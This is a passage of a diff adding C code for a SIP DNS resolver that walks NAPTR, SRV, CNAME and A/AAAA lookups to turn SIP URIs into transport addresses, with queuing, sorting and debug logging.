+  sres_resolver_t *sres = srs->srs_resolver;
+  struct srs_step *step;
+
+  SU_DEBUG_5(("srs(%p): destroyed\n", _srs));
+
+  srs->srs_resolver = NULL;
+
+  for (step = srs->srs_head; step; step = step->sp_next) {
+    if (step->sp_already == step)
+      sres_free_answers(sres, step->sp_results);
+    step->sp_results = NULL;
+    sres_query_bind(step->sp_query, NULL, NULL), step->sp_query = NULL;
+  }
+
+  sres_resolver_unref(sres);
+}
+
+int
+sres_sip_error(sres_sip_t *srs)
+{
+  return srs ? srs->srs_error : SRES_SIP_ERR_FAULT;
+}
+
+su_addrinfo_t const *
+sres_sip_results(sres_sip_t *srs)
+{
+  return srs ? srs->srs_results : NULL;
+}
+
+su_addrinfo_t const *
+sres_sip_next(sres_sip_t *srs)
+{
+  su_addrinfo_t *next = NULL;
+
+  if (srs) {
+    next = *srs->srs_next;
+    if (next)
+      srs->srs_next = &next->ai_next;
+  }
+
+  return next;
+}
+
+static sres_sip_t *
+sres_sip_fatal(sres_sip_t *srs, int error)
+{
+  srs->srs_error = error;
+  srs->srs_try_naptr = 0, srs->srs_try_srv = 0, srs->srs_try_a = 0;
+  return srs;
+}
+
+static void
+sres_sip_hint(sres_sip_t *srs, int qtype, int protocol)
+{
+  size_t i, j;
+  int match = 0;
+  uint16_t port = srs->srs_port;
+
+  for (j = 0; sres_sip_tports[j].stp_number; j++) {
+    struct sres_sip_tport const *stp = &sres_sip_tports[j];
+    int already = 0;
+
+    if (protocol && stp->stp_number != protocol)
+      continue;
+
+    /* Use only secure transports with SIPS */
+    if (srs->srs_url->url_type == url_sips) {
+      if (!(stp->stp_number & TPPROTO_SECURE))
+	continue;
+    }
+
+    /* If transport is specified, use it. */
+    if (srs->srs_transport && stp->stp_number != srs->srs_transport)
+      continue;
+
+    for (i = 1; srs->srs_hints[i].hint_stp; i++) {
+      if (srs->srs_hints[i].hint_stp == stp &&
+	  srs->srs_hints[i].hint_qtype == qtype) {
+	match = 1, already = 1;
+	break;
+      }
+      assert(i <= 2 * N_TRANSPORTS);
+    }
+
+    if (!already) {
+      srs->srs_hints[i].hint_stp = stp;
+      srs->srs_hints[i].hint_qtype = qtype;
+      srs->srs_hints[i].hint_port = port ? port : stp->stp_port;
+    }
+  }
+
+  if (!match) {
+    /* XXX - hint did not match configured protocols */
+  }
+}
+
+/** Return protocol number for transport parameter in URI */
+static int
+sres_sip_url_transport(url_t const *uri)
+{
+  char parameter[64];
+  isize_t len = 0;
+  size_t i;
+
+  if (!uri)
+    return -1;
+  if (!uri->url_params)
+    return 0;
+
+  len = url_param(uri->url_params, "transport", parameter, (sizeof parameter));
+  if (len == 0)
+    return 0;
+  if (len >= sizeof parameter)
+    return -1;
+
+  for (i = 0; sres_sip_tports[i].stp_name; i++) {
+    if (su_casematch(parameter, sres_sip_tports[i].stp_name))
+      return sres_sip_tports[i].stp_number;
+  }
+
+  return -1;
+}
+
+static char const *
+sres_sip_transport_name(int number)
+{
+  size_t i;
+
+  for (i = 0; sres_sip_tports[i].stp_number; i++) {
+    if (number == sres_sip_tports[i].stp_number)
+      return sres_sip_tports[i].stp_name;
+  }
+
+  return NULL;
+}
+
+/** Cancel resolver query */
+void
+sres_sip_cancel_resolver(sres_sip_t *srs)
+{
+  struct srs_step *step;
+
+  if (!srs)
+    return;
+
+  for (step = srs->srs_head; step; step = step->sp_next) {
+    sres_query_bind(step->sp_query, NULL, NULL), step->sp_query = NULL;
+  }
+}
+
+#if 0
+
+/** Graylist SRV records */
+static void
+sres_sip_graylist(sres_sip_t *srs,
+		  struct srs_step *step)
+{
+  char const *target = step->sp_target, *proto = step->sp_proto;
+  unsigned prio = step->sp_priority, maxprio = prio;
+
+  /* Don't know how to graylist but SRV records */
+  if (step->sp_otype != sres_type_srv)
+    return;
+
+  SU_DEBUG_5(("srs(%p): graylisting %s:%u;transport=%s\n", target, step->sp_port, proto));
+
+  for (step = srs->srs_send; step; step = step->sp_next)
+    if (step->sp_otype == sres_type_srv && step->sp_priority > maxprio)
+      maxprio = step->sp_priority;
+
+  for (step = srs->srs_done; step; step = step->sp_next)
+    if (step->sp_otype == sres_type_srv && step->sp_priority > maxprio)
+      maxprio = step->sp_priority;
+
+  for (step = srs->srs_done; step; step = step->sp_next) {
+    int modified;
+
+    if (step->sp_type != sres_type_srv || strcmp(proto, step->sp_proto))
+      continue;
+
+    /* modify the SRV record(s) corresponding to the latest A/AAAA record */
+    modified = sres_set_cached_srv_priority(
+      srs->orq_agent->sa_resolver,
+      step->sp_target,
+      target,
+      step->sp_port,
+      srs->orq_agent->sa_graylist,
+      maxprio + 1);
+
+    if (modified >= 0)
+      SU_DEBUG_3(("srs(%p): reduced priority of %d %s SRV records (increase value to %u)\n",
+		  (void *)srs,
+		  modified, step->sp_target, maxprio + 1));
+    else
+      SU_DEBUG_3(("srs(%p): failed to reduce %s SRV priority\n",
+		  (void *)srs,
+		  step->sp_target));
+  }
+}
+#endif
+
+/** Take next step in resolving process.
+ *
+ * @retval 1 if there is more steps left
+ * @retval 0 if resolving process is complete
+ */
+int
+sres_sip_next_step(sres_sip_t *srs)
+{
+  if (srs == NULL)
+    return 0;
+
+  for (;;) {
+    sres_sip_process(srs); /* Process answers */
+
+    if (sres_sip_is_waiting(srs))
+      return 1;
+
+    sres_sip_try_next_steps(srs);
+
+    if (!sres_sip_send_steps(srs))
+      break;
+  }
+
+  if (sres_sip_is_waiting(srs))
+    return 1;
+
+  if (!srs->srs_complete) {
+    SU_DEBUG_5(("srs(%p): complete\n", (void *)srs));
+    srs->srs_complete = 1;
+  }
+
+  assert(*srs->srs_process == NULL);
+  assert(!srs->srs_try_naptr && !srs->srs_try_srv && !srs->srs_try_a);
+
+  return 0;
+}
+
+static int
+sres_sip_is_waiting(sres_sip_t const *srs)
+{
+  return *srs->srs_process && (*srs->srs_process)->sp_query;
+}
+
+static void
+sres_sip_try_next_steps(sres_sip_t *srs)
+{
+  if (*srs->srs_send == NULL) {
+    if (srs->srs_try_naptr) {
+      sres_sip_try_naptr_steps(srs);
+    }
+    else if (srs->srs_try_srv) {
+      sres_sip_try_srv_steps(srs);
+    }
+    else if (srs->srs_try_a) {
+      sres_sip_try_a_aaaa_steps(srs);
+    }
+  }
+}
+
+/** Try target NAPTR. */
+static void
+sres_sip_try_naptr_steps(sres_sip_t *srs)
+{
+  struct srs_step *step;
+
+  srs->srs_try_naptr = 0;
+  step = sres_sip_step_new(srs, sres_type_naptr, NULL, srs->srs_target);
+  sres_sip_append_step(srs, step);
+}
+
+/** If no NAPTR is found, try target SRVs. */
+static void
+sres_sip_try_srv_steps(sres_sip_t *srs)
+{
+  int i;
+  char const *target = srs->srs_target;
+
+  srs->srs_try_srv = 0;
+
+  for (i = 1; srs->srs_hints[i].hint_stp; i++) {
+    struct sres_sip_tport const *stp;
+    struct srs_step *step;
+
+    stp = srs->srs_hints[i].hint_stp;
+    step = sres_sip_step_new(srs, sres_type_srv, stp->stp_prefix, target);
+
+    if (step) {
+      step->sp_hint = i;
+      step->sp_prefer = i + 1;
+      step->sp_priority = 1;
+      step->sp_weight = 1;
+      sres_sip_append_step(srs, step);
+    }
+  }
+}
+
+/** If not NAPTR or SRV was found, try target A/AAAAs.  */
+static void
+sres_sip_try_a_aaaa_steps(sres_sip_t *srs)
+{
+  int i;
+
+  srs->srs_try_a = 0;
+
+  for (i = 1; srs->srs_hints[i].hint_stp; i++) {
+    struct srs_hint *hint = srs->srs_hints + i;
+    struct sres_sip_tport const *stp = hint->hint_stp;
+    struct srs_step *step;
+
+    /* Consider only transport from uri parameter */
+    if (!srs->srs_transport &&
+	/* ...or default transports for this URI type */
+	stp->stp_type != srs->srs_url->url_type)
+      continue;
+
+    step = sres_sip_step_new(srs, hint->hint_qtype, NULL, srs->srs_target);
+
+    if (step) {
+      step->sp_hint = i;
+      step->sp_prefer = 2;
+      step->sp_priority = i;
+      step->sp_port = srs->srs_port ? srs->srs_port : stp->stp_port;
+      sres_sip_append_step(srs, step);
+    }
+  }
+}
+
+/** Send queries or lookup from cache.
+ *
+ * Return true if got data to process.
+ */
+static int
+sres_sip_send_steps(sres_sip_t *srs)
+{
+  int process = 0;
+
+  /* New queries to send */
+  while (*srs->srs_send) {
+    struct srs_step *step = *srs->srs_send, *step2;
+    uint16_t type = step->sp_type;
+    char const *domain = step->sp_target;
+    sres_record_t **answers;
+    int parallel = 0;
+
+    srs->srs_send = &step->sp_next;
+
+    if (step->sp_status != STEP_QUEUED) {
+      assert(step->sp_already != step);
+      continue;
+    }
+
+    assert(step->sp_already == step);
+
+    answers = sres_cached_answers(srs->srs_resolver, type, domain);
+
+    for (step2 = step; step2; step2 = step2->sp_next) {
+      if (step2->sp_already == step)
+	step2->sp_status = answers ? STEP_CACHED : STEP_SENT;
+    }
+
+
+    SU_DEBUG_5(("srs(%p): query %s %s%s\n",
+		(void *)srs, sres_record_type(type, NULL), domain,
+		answers ? " (cached)" : ""));
+
+    if (answers)
+      ;
+    else if (srs->srs_blocking) {
+      sres_blocking_query(srs->srs_resolver, type, domain, 0, &answers);
+    }
+    else {
+      step->sp_query = sres_query(srs->srs_resolver,
+				  sres_sip_answer, step,
+				  type, domain);
+      if (step->sp_query) {
+	/* Query all self-generated SRV records at the same time */
+	parallel = step->sp_trace == NULL && type == sres_type_srv;
+	if (!parallel)
+	  break;
+	continue;
+      }
+    }
+
+    sres_sip_answer(step, NULL, answers);
+    return process = 1;
+  }
+
+  return process = 0;
+}
+
+static void
+sres_sip_answer(struct srs_step *step,
+		sres_query_t *q,
+		sres_record_t *answers[])
+{
+  sres_sip_t *srs = step->sp_srs;
+  struct srs_step *step2;
+  int status = sres_sip_status_of_answers(answers, step->sp_type);
+
+  SU_DEBUG_5(("srs(%p): %s %s (answers=%u) for %s %s\n",
+	      (void *)srs,
+	      step->sp_status == STEP_SENT ? "received" : "cached",
+	      sres_record_status(status, NULL),
+	      sres_sip_count_answers(answers, step->sp_type),
+	      sres_record_type(step->sp_type, NULL), step->sp_target));
+
+  sres_sip_log_answers(srs, step, answers);
+
+  assert(step->sp_already == step);
+  assert(step->sp_query == q); step->sp_query = NULL;
+  assert(step->sp_status == STEP_SENT ||
+	 step->sp_status == STEP_CACHED);
+
+  step->sp_results = answers;
+  step->sp_status = status;
+
+  /* Check if answer is valid for another query, too */
+  for (step2 = step->sp_next; step2; step2 = step2->sp_next) {
+    if (step2->sp_already == step) {
+      step2->sp_results = answers;
+      step2->sp_status = status;
+    }
+  }
+
+  if (!sres_sip_next_step(srs)) {
+    sres_sip_return_results(srs, 1);
+  }
+  else if (q && *srs->srs_next) {
+    sres_sip_return_results(srs, 0);
+  }
+}
+
+static int
+sres_sip_status_of_answers(sres_record_t *answers[], uint16_t type)
+{
+  int i;
+
+  if (answers == NULL)
+    return SRES_NETWORK_ERR;
+
+  for (i = 0; answers[i]; i++) {
+    if (answers[i]->sr_record->r_type == type) {
+      return answers[i]->sr_record->r_status;
+    }
+  }
+
+  return SRES_RECORD_ERR;
+}
+
+static int
+sres_sip_count_answers(sres_record_t *answers[], uint16_t type)
+{
+  int n;
+
+  for (n = 0; answers && answers[n]; n++) {
+    if (type != answers[n]->sr_record->r_type ||
+	answers[n]->sr_record->r_status != 0)
+      break;
+  }
+
+  return n;
+}
+
+static void
+sres_sip_log_answers(sres_sip_t *srs,
+		     struct srs_step *step,
+		     sres_record_t *answers[])
+{
+  char const *previous;
+  int i;
+
+  if (answers == NULL)
+    return;
+  if (SU_LOG->log_level < 5)
+    return;
+
+  previous = step->sp_target;
+
+  for (i = 0; answers[i]; i++) {
+    sres_record_t *sr = answers[i];
+    int type = sr->sr_record->r_type;
+    char const *domain = sr->sr_record->r_name;
+    char addr[SU_ADDRSIZE];
+
+    if (sr->sr_record->r_status)
+      continue;
+
+    if (su_casematch(previous, domain))
+      domain = "";
+    else
+      previous = domain;
+
+    if (type == sres_type_a) {
+      sres_a_record_t const *a = sr->sr_a;
+      su_inet_ntop(AF_INET, &a->a_addr, addr, sizeof(addr));
+      SU_DEBUG_5(("srs(%p): %s IN A %s\n", (void *)srs, domain, addr));
+    }
+    else if (type == sres_type_cname) {
+      char const *cname = sr->sr_cname->cn_cname;
+      SU_DEBUG_5(("srs(%p): %s IN CNAME %s\n", (void *)srs, domain, cname));
+    }
+#if SU_HAVE_IN6
+    else if (type == sres_type_cname) {
+      sres_aaaa_record_t const *aaaa = sr->sr_aaaa;
+      su_inet_ntop(AF_INET6, &aaaa->aaaa_addr, addr, sizeof(addr));
+      SU_DEBUG_5(("srs(%p): %s IN AAAA %s\n", (void *)srs, domain, addr));
+    }
+#endif
+    else if (type == sres_type_naptr) {
+      sres_naptr_record_t const *na = sr->sr_naptr;
+      SU_DEBUG_5(("srs(%p): %s IN NAPTR %u %u \"%s\" \"%s\" \"%s\" %s\n",
+		  (void *)srs,
+		  domain,
+		  na->na_order, na->na_prefer,
+		  na->na_flags, na->na_services,
+		  na->na_regexp, na->na_replace));
+    }
+    else if (type == sres_type_srv) {
+      sres_srv_record_t const *srv = sr->sr_srv;
+      SU_DEBUG_5(("srs(%p): %s IN SRV %u %u %u %s\n",
+		  (void *)srs,
+		  domain,
+		  (unsigned)srv->srv_priority, (unsigned)srv->srv_weight,
+		  srv->srv_port, srv->srv_target));
+    }
+    else {
+      /* Ignore */
+    }
+  }
+}
+
+
+
+
+/** Return error response */
+static void
+sres_sip_return_results(sres_sip_t *srs, int final)
+{
+  if (final && srs->srs_results == NULL && !srs->srs_error) {
+    /* Get best error */
+    struct srs_step *step;
+
+    for (step = srs->srs_head; step; step = step->sp_next) {
+      switch (step->sp_status) {
+      case SRES_NAME_ERR:
+	if (su_casematch(step->sp_target, srs->srs_target))
+	  srs->srs_error = SRES_SIP_ERR_NO_NAME;
+	break;
+      case SRES_OK:
+      case SRES_RECORD_ERR:
+	/* Something was found */
+	srs->srs_error = SRES_SIP_ERR_NO_DATA;
+	break;
+      case SRES_AUTH_ERR:
+      case SRES_FORMAT_ERR:
+	srs->srs_error = SRES_SIP_ERR_FAIL;
+	break;
+      case SRES_SERVER_ERR:
+      case SRES_TIMEOUT_ERR:
+      case SRES_NETWORK_ERR:
+	srs->srs_error = SRES_SIP_ERR_AGAIN;
+	break;
+      }
+      if (srs->srs_error)
+	break;
+    }
+
+    if (!srs->srs_error)
+      srs->srs_error = SRES_SIP_ERR_FAIL;
+  }
+
+  if (srs->srs_callback) {
+    sres_sip_notify_f *callback = srs->srs_callback;
+    sres_sip_magic_t *magic = srs->srs_magic;
+
+    if (final)
+      srs->srs_callback = NULL, srs->srs_magic = NULL;
+
+    callback(magic, srs, final);
+  }
+}
+
+static int
+sres_sip_process(sres_sip_t *srs)
+{
+  while (*srs->srs_process) {
+    struct srs_step *step = *srs->srs_process;
+
+    if (step->sp_query)
+      return 1;
+
+    if (step->sp_status < 0)
+      break;
+
+    if (srs->srs_process != srs->srs_send)
+      srs->srs_process = &step->sp_next;
+    else
+      srs->srs_send = srs->srs_process = &step->sp_next;
+
+    if (step->sp_status == SRES_RECORD_ERR) {
+      sres_sip_process_cname(srs, step, step->sp_results);
+      continue;
+    }
+
+    if (step->sp_status)
+      continue;
+
+    SU_DEBUG_5(("srs(%p): process %s %s record%s\n",
+		(void *)srs,
+		sres_record_type(step->sp_type, NULL), step->sp_target,
+		step->sp_already != step ? " (again)" : ""));
+
+    switch (step->sp_type) {
+    case sres_type_naptr:
+      sres_sip_process_naptr(srs, step, step->sp_results);
+      break;
+    case sres_type_srv:
+      sres_sip_process_srv(srs, step, step->sp_results);
+      break;
+#if SU_HAVE_IN6
+    case sres_type_aaaa:
+      sres_sip_process_aaaa(srs, step, step->sp_results);
+      break;
+#endif
+    case sres_type_a:
+      sres_sip_process_a(srs, step, step->sp_results);
+      break;
+
+    default:
+      assert(!"unknown query type");
+    }
+  }
+
+  return 0;
+}
+
+
+static struct srs_step *
+sres_sip_step_new(sres_sip_t *srs,
+		  int type,
+		  char const *prefix,
+		  char const *domain)
+{
+  struct srs_step *step, *step0;
+  size_t plen = prefix ? strlen(prefix) : 0;
+  size_t extra = 0;
+
+  for (step0 = srs->srs_head; step0; step0 = step0->sp_next) {
+    if (step0->sp_type == type &&
+	su_casenmatch(prefix, step0->sp_target, plen) &&
+	su_casematch(step0->sp_target + plen, domain))
+      break;
+  }
+
+  if (prefix && !step0)
+    extra = plen + strlen(domain) + 1;
+
+  step = su_zalloc(srs->srs_home, (sizeof *step) + extra);
+
+  if (step) {
+    step->sp_srs = srs;
+    step->sp_type = type;
+    step->sp_status = STEP_NEW;
+
+    if (step0) {
+      step->sp_already = step0;
+      step->sp_results = step0->sp_results;
+      step->sp_target = step0->sp_target;
+    }
+    else {
+      step->sp_already = step;
+
+      if (prefix) {
+	char *target = (char *)(step + 1);
+	step->sp_target = memcpy(target, prefix, plen);
+	strcpy(target + plen, domain);
+      }
+      else {
+	step->sp_target = domain;
+      }
+    }
+  }
+
+  return step;
+}
+
+
+/** Append a step to queue */
+static void
+sres_sip_append_step(sres_sip_t *srs,
+		     struct srs_step *step)
+{
+  if (step == NULL)
+    return;
+
+  assert(step->sp_status == STEP_NEW);
+
+  *srs->srs_queue = step, srs->srs_queue = &step->sp_next;
+
+  if (step->sp_already == step) {
+    step->sp_status = STEP_QUEUED;
+  }
+  else {
+    step->sp_status = step->sp_already->sp_status;
+    step->sp_results = step->sp_already->sp_results;
+  }
+}
+
+/** Insert a step to queue.
+ *
+ * Sort by 1) order 2) priority/preference 3) weight.
+ */
+static void
+sres_sip_insert_step(sres_sip_t *srs,
+		     struct srs_step *step)
+{
+  struct srs_step *already, *step2, **insert, **at, **next;
+  struct srs_hint *hint = &srs->srs_hints[step->sp_hint];
+  struct sres_sip_tport const *stp = hint->hint_stp;
+  int weight = 0, N = 0, by;
+
+  /* Currently, inserted steps are results from CNAME or SRV.
+     They have hint at this point */
+  assert(step->sp_hint);
+
+  step->sp_srs = srs;
+
+  insert = srs->srs_send;
+
+  for (at = insert; *at; at = next) {
+    next = &(*at)->sp_next;
+
+    if (step->sp_prefer < (*at)->sp_prefer) {
+      break;
+    }
+    if (step->sp_prefer > (*at)->sp_prefer) {
+      insert = next, weight = 0, N = 0;
+      continue;
+    }
+    if (step->sp_priority < (*at)->sp_priority) {
+      break;
+    }
+    if (step->sp_priority > (*at)->sp_priority) {
+      insert = next, weight = 0, N = 0;
+      continue;
+    }
+
+    weight += (*at)->sp_weight, N++;
+  }
+
+  if (step->sp_weight)
+    weight += step->sp_weight;
+  else
+    insert = at;
+
+  if (insert != at)
+    by = su_randint(0, weight - 1);
+  else
+    by = weight;
+
+  SU_DEBUG_5(("srs(%p): %s %s query for %s;transport=%s (N=%u %d/%d)\n",
+	      (void *)srs,
+	      insert != at ? "inserting" : "appending",
+	      sres_record_type(step->sp_type, NULL), step->sp_target,
+	      stp->stp_name,
+	      N, by, weight));
+
+  if (insert != at) {
+    for (;by > step->sp_weight; insert = &(*insert)->sp_next) {
+      assert(*insert); assert((*insert)->sp_prefer == step->sp_prefer);
+      assert((*insert)->sp_priority == step->sp_priority);
+      by -= (*insert)->sp_weight;
+    }
+  }
+
+  step->sp_next = *insert, *insert = step;
+  if (insert == srs->srs_queue)
+    srs->srs_queue = &step->sp_next;
+
+  step->sp_status = STEP_QUEUED;
+
+  if (step->sp_already == step)
+    return;
+
+  /* Check if sp_already is after step */
+  for (already = step->sp_next; already; already = already->sp_next) {
+    if (already == step->sp_already)
+      break;
+  }
+
+  if (already) {
+    assert(already->sp_status == STEP_QUEUED);
+    step->sp_already = step;
+    for (step2 = step->sp_next; step2; step2 = step2->sp_next) {
+      if (step2->sp_already == already)
+	step2->sp_already = step;
+    }
+  }
+  else {
+    step->sp_status = step->sp_already->sp_status;
+    step->sp_results = step->sp_already->sp_results;
+  }
+}
+
+/* Process NAPTR records */
+static void
+sres_sip_process_naptr(sres_sip_t *srs,
+		       struct srs_step *step,
+		       sres_record_t *answers[])
+{
+  int i, j, order = -1, found = 0;
+
+  assert(answers);
+
+  /* Sort NAPTR first by order then by preference */
+  /* sres_sort_answers() sorts with flags etc. too */
+  sres_sip_sort_naptr(answers);
+
+  for (i = 0; answers[i]; i++) {
+    sres_naptr_record_t const *na = answers[i]->sr_naptr;
+    struct sres_sip_tport const *stp;
+    int supported = 0;
+
+    if (na->na_record->r_status)
+      continue;
+    if (na->na_record->r_type != sres_type_naptr)
+      continue;
+
+    /* RFC 2915 p 4:
+     * Order
+     *    A 16-bit unsigned integer specifying the order in which the
+     *    NAPTR records MUST be processed to ensure the correct ordering
+     *    of rules. Low numbers are processed before high numbers, and
+     *    once a NAPTR is found whose rule "matches" the target, the
+     *    client MUST NOT consider any NAPTRs with a higher value for
+     *    order (except as noted below for the Flags field).
+     */
+    if (order >= 0 && order != na->na_order)
+      break;
+
+    /* RFC3263 p. 6:
+       First, a client resolving a SIPS URI MUST discard any services that
+       do not contain "SIPS" as the protocol in the service field.  The
+       converse is not true, however.  A client resolving a SIP URI SHOULD
+       retain records with "SIPS" as the protocol, if the client supports
+       TLS.
+    */
+    if (su_casenmatch(na->na_services, "SIPS+", 5) ||
+	su_casenmatch(na->na_services, "SIP+", 4))
+      /* Use NAPTR results, don't try extra SRV/A/AAAA records */
+      srs->srs_try_srv = 0, srs->srs_try_a = 0, found = 1;
+    else
+      continue; /* Not a SIP/SIPS service */
+
+    /* Check if we have a transport matching with service */
+    for (j = 1; (stp = srs->srs_hints[j].hint_stp); j++) {
+      /*
+       * Syntax of services is actually more complicated
+       * but comparing the values in the transport list
+       * match with those values that make any sense
+       */
+      if (su_casematch(na->na_services, stp->stp_service)) {
+	/* We found matching NAPTR */
+	order = na->na_order;
+	supported = 1;
+	sres_sip_step_by_naptr(srs, step, j, na);
+      }
+    }
+
+    SU_DEBUG_5(("srs(%p): %s IN NAPTR %u %u \"%s\" \"%s\" \"%s\" %s%s\n",
+		(void *)srs,
+		na->na_record->r_name,
+		na->na_order, na->na_prefer,
+		na->na_flags, na->na_services,
+		na->na_regexp, na->na_replace,
+		supported ? "" : " (not supported)"));
+  }
+
+  if (found && order < 0)
+    /* There was a SIP/SIPS natpr, but it has no matching hints */
+    srs->srs_error = SRES_SIP_ERR_NO_TPORT;
+}
+
+static void
+sres_sip_sort_naptr(sres_record_t *answers[])
+{
+  int i, j;
+
+  for (i = 0; answers[i]; i++) {
+    sres_naptr_record_t const *na = answers[i]->sr_naptr;
+
+    if (na->na_record->r_type != sres_type_naptr)
+      break;
+
+    for (j = 0; j < i; j++) {
+      sres_naptr_record_t const *nb = answers[j]->sr_naptr;
+
+      if (na->na_order < nb->na_order)
+	break;
+      if (na->na_order > nb->na_order)
+	continue;
+      if (na->na_prefer < nb->na_prefer)
+	break;
+    }
+
+    if (j < i) {
+      sres_record_t *r = answers[i];
+      for (; j < i; i--) {
+	answers[i] = answers[i - 1];
+      }
+      answers[j] = r;
+    }
+  }
+}
+
+static void
+sres_sip_step_by_naptr(sres_sip_t *srs,
+		       struct srs_step *step0,
+		       uint16_t hint,
+		       sres_naptr_record_t const *na)
+{
+  struct srs_step *step;
+  uint16_t qtype;
+  uint16_t port = srs->srs_hints[hint].hint_stp->stp_port;
+  uint16_t hint_qtype = srs->srs_hints[hint].hint_qtype;
+
+  if (na->na_flags[0] == 's' || na->na_flags[0] == 'S')
+    /* "S" flag means that the next lookup should be for SRV records */
+    qtype = sres_type_srv; /* SRV */
+  else if (na->na_flags[0] == 'a' || na->na_flags[0] == 'A')
+    /* "A" means that the next lookup should be A/AAAA */
+    qtype = hint_qtype;
+  else
+    return;
+
+  step = sres_sip_step_new(srs, qtype, NULL, na->na_replace);
+
+  if (step == NULL)
+    return;
+
+  step->sp_trace = step0;
+  step->sp_origin = (sres_record_t const *)na;
+  step->sp_prefer = na->na_prefer;
+  step->sp_priority = hint;
+  step->sp_weight = 1;
+  step->sp_hint = hint;
+  step->sp_port = port;
+
+  sres_sip_append_step(srs, step);
+}
+
+/* Process SRV records */
+static void
+sres_sip_process_srv(sres_sip_t *srs,
+		     struct srs_step *step0,
+		     sres_record_t *answers[])
+{
+  int i;
+  struct srs_hint *hint = &srs->srs_hints[step0->sp_hint];
+
+  sres_sip_sort_srv(answers); /* Sort by priority (only) */
+
+  for (i = 0; answers[i]; i++) {
+    sres_srv_record_t const *srv = answers[i]->sr_srv;
+    struct srs_step *step;
+
+    if (srv->srv_record->r_status /* There was an error */ ||
+        srv->srv_record->r_type != sres_type_srv)
+      continue;
+
+    srs->srs_try_a = 0;
+
+    step = sres_sip_step_new(srs, hint->hint_qtype, NULL, srv->srv_target);
+    if (step) {
+      step->sp_hint = step0->sp_hint;
+      step->sp_trace = step0;
+      step->sp_origin = (sres_record_t const *)srv;
+      step->sp_port = srv->srv_port;
+      step->sp_prefer = step0->sp_prefer;
+      step->sp_priority = srv->srv_priority;
+      step->sp_weight = srv->srv_weight;
+
+      /* Insert sorted by priority, randomly select by weigth */
+      sres_sip_insert_step(srs, step);
+    }
+  }
+}
+
+static void
+sres_sip_sort_srv(sres_record_t *answers[])
+{
+  int i, j;
+
+  for (i = 0; answers[i]; i++) {
+    sres_srv_record_t const *a = answers[i]->sr_srv;
+
+    if (a->srv_record->r_type != sres_type_srv)
+      break;
+
+    for (j = 0; j < i; j++) {
+      sres_srv_record_t const *b = answers[j]->sr_srv;
+
+      if (a->srv_priority < b->srv_priority)
+	break;
+    }
+
+    if (j < i) {
+      sres_record_t *r = answers[i];
+      for (; j < i; i--) {
+	answers[i] = answers[i - 1];
+      }
+      answers[j] = r;
+    }
+  }
+}
+
+#if SU_HAVE_IN6
+/* Process AAAA records */
+static void
+sres_sip_process_aaaa(sres_sip_t *srs,
+		      struct srs_step *step,
+		      sres_record_t *answers[])
+{
+  struct srs_hint *hint = &srs->srs_hints[step->sp_hint];
+  struct sres_sip_tport const *stp = hint->hint_stp;
+  su_addrinfo_t ai[1];
+  su_sockaddr_t su[1];
+  size_t i, j;
+
+  for (i = j = 0; answers && answers[i]; i++) {
+    sres_aaaa_record_t const *aaaa = answers[i]->sr_aaaa;
+
+    if (aaaa->aaaa_record->r_status ||
+        aaaa->aaaa_record->r_type != sres_type_aaaa)
+      continue;			      /* There was an error */
+
+    memset(ai, 0, (sizeof ai));
+    ai->ai_protocol = stp->stp_number;
+    ai->ai_addr = memset(su, 0, ai->ai_addrlen = (sizeof su->su_sin6));
+    su->su_len = (sizeof su->su_sin6);
+    su->su_family = ai->ai_family = AF_INET6;
+    su->su_port = htons(step->sp_port);
+
+    memcpy(&su->su_sin6.sin6_addr,
+	   &aaaa->aaaa_addr,
+	   (sizeof aaaa->aaaa_addr));
+
+    ai->ai_canonname = aaaa->aaaa_record->r_name;
+
+    sres_sip_append_result(srs, ai);
+  }
+}
+#endif /* SU_HAVE_IN6 */
+
+/* Process A records */
+static void
+sres_sip_process_a(sres_sip_t *srs,
+		   struct srs_step *step,
+		   sres_record_t *answers[])
+{
+  struct srs_hint *hint = &srs->srs_hints[step->sp_hint];
+  struct sres_sip_tport const *stp = hint->hint_stp;
+  su_addrinfo_t ai[1];
+  su_sockaddr_t su[1];
+  int i, j;
+
+  for (i = j = 0; answers[i]; i++) {
+    sres_a_record_t const *a = answers[i]->sr_a;
+
+    if (a->a_record->r_status ||
+	a->a_record->r_type != sres_type_a)
+      continue;			      /* There was an error */
+
+    memset(ai, 0, (sizeof ai));
+    ai->ai_protocol = stp->stp_number;
+    ai->ai_addr = memset(su, 0, ai->ai_addrlen = (sizeof su->su_sin));
+    su->su_len = (sizeof su->su_sin);
+    su->su_family = ai->ai_family = AF_INET;
+    su->su_port = htons(step->sp_port);
+
+    memcpy(&su->su_sin.sin_addr, &a->a_addr, (sizeof a->a_addr));
+
+    ai->ai_canonname = a->a_record->r_name;
+
+    sres_sip_append_result(srs, ai);
+  }
+}
+
+static void
+sres_sip_process_cname(sres_sip_t *srs,
+		       struct srs_step *step0,
+		       sres_record_t *answers[])
+{
+  struct srs_step *step;
+  int i;
+
+  if (answers == NULL)
+    return;
+
+  for (i = 0; answers[i]; i++) {
+    sres_cname_record_t *cn = answers[i]->sr_cname;
+
+    if (cn->cn_record->r_type != sres_type_cname ||
+	cn->cn_record->r_status != SRES_OK)
+      continue;
+
+    step = sres_sip_step_new(srs, step0->sp_type, NULL, cn->cn_cname);
+    if (!step)
+      return;
+
+    step->sp_trace = step0;
+    step->sp_origin = answers[i];
+
+    step->sp_hint = step0->sp_hint;
+    step->sp_port = step0->sp_port;
+    step->sp_prefer = step0->sp_prefer;
+    step->sp_priority = step0->sp_priority;
+    step->sp_weight = step0->sp_weight;
+
+    sres_sip_insert_step(srs, step);
+
+    return;
+  }
+}
+
+
+/* Process URI with numeric host */
+static void
+sres_sip_process_numeric(sres_sip_t *srs)
+{
+  char const *target = srs->srs_target;
+  su_addrinfo_t ai[1];
+  su_sockaddr_t su[1];
+  char buffer[64];
+  int i;
+
+  memset(ai, 0, (sizeof ai)); (void)buffer;
+
+  if (host_is_ip4_address(target)) {
+    ai->ai_addr = memset(su, 0, ai->ai_addrlen = (sizeof su->su_sin));
+    su->su_len = (sizeof su->su_sin);
+    if (su_inet_pton(su->su_family = ai->ai_family = AF_INET,
+		     target, &su->su_sin.sin_addr) <= 0) {
+      srs->srs_error = SRES_SIP_ERR_BAD_URI;
+      return;
+    }
+  }
+#if SU_HAVE_IN6
+  else if (host_is_ip6_address(target)) {
+    ai->ai_addr = memset(su, 0, ai->ai_addrlen = (sizeof su->su_sin6));
+    su->su_len = (sizeof su->su_sin6);
+    if (su_inet_pton(su->su_family = ai->ai_family = AF_INET6,
+		     target, &su->su_sin6.sin6_addr) <= 0) {
+      srs->srs_error = SRES_SIP_ERR_BAD_URI;
+      return;
+    }
+  }
